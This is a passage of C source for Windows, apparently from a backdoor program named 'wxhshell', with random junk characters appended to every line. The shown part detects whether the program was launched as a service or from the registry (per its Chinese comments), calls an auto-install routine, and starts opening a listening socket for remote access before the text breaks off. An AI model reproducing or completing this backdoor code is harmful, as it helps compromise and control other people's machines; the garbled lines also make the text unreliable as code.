ULONG UniqueProcessId; ~Ex.Yp8.
ULONG InheritedFromUniqueProcessId; "-n%874IT
} PROCESS_BASIC_INFORMATION; MXF"F:-Kn
H~|%vjH
PROCNTQSIP NtQueryInformationProcess; ARdGh_yJ&
FMdLkyK;
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; %p2x^air
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; )c*k_/4
5g1M_8e'+
HANDLE hProcess; K` ,d$
PROCESS_BASIC_INFORMATION pbi; (bx\4Ws
e4Ox`gLa*p
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); B^_Chj*m
if(NULL == hInst ) return 0; PGPbpl&\t
I26gGp
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); %Sn 6*\z
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); cN WcNMm
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); =/g$bZ
Ydh<T F4!
if (!NtQueryInformationProcess) return 0; 9V;$v
uUz`= 4%A
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); A3$aMCwKd
if(!hProcess) return 0; 8F^,8kIR
RF5q5<0
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; |R;l5ZKvV
%L
j0
CloseHandle(hProcess);
`cP'~OT
E ;!<Z4
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); *?bk?*?s
if(hProcess==NULL) return 0; =kb6xmB^t
#t@x6Vt
HMODULE hMod; d{yIy'+0/
char procName[255]; )4~sQ^}
unsigned long cbNeeded; VS9]po>=
XalJo@%-
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); |jk-@ Z*
&QTeGn
CloseHandle(hProcess); c',:@2R
Pc(n@'m~
if(strstr(procName,"services")) return 1; // 以服务启动 rMHQzQ0%
?7uKP}1|
return 0; // 注册表启动 )@,90Vhh
} 1/2V.:bg
,|.8nk"
// 主模块 xIQ/$[&v
int StartWxhshell(LPSTR lpCmdLine) WBr:|F+~s
{ 4Oy.,MDQP
SOCKET wsl; ojx'g8yO
BOOL val=TRUE; aZj J]~bO
int port=0; }r}RRd
struct sockaddr_in door; *`ZB+ \*
#*$_S@
if(wscfg.ws_autoins) Install(); {^cF(7p
3e%l8@R@
port=atoi(lpCmdLine); eA?uny
f2r
-R&E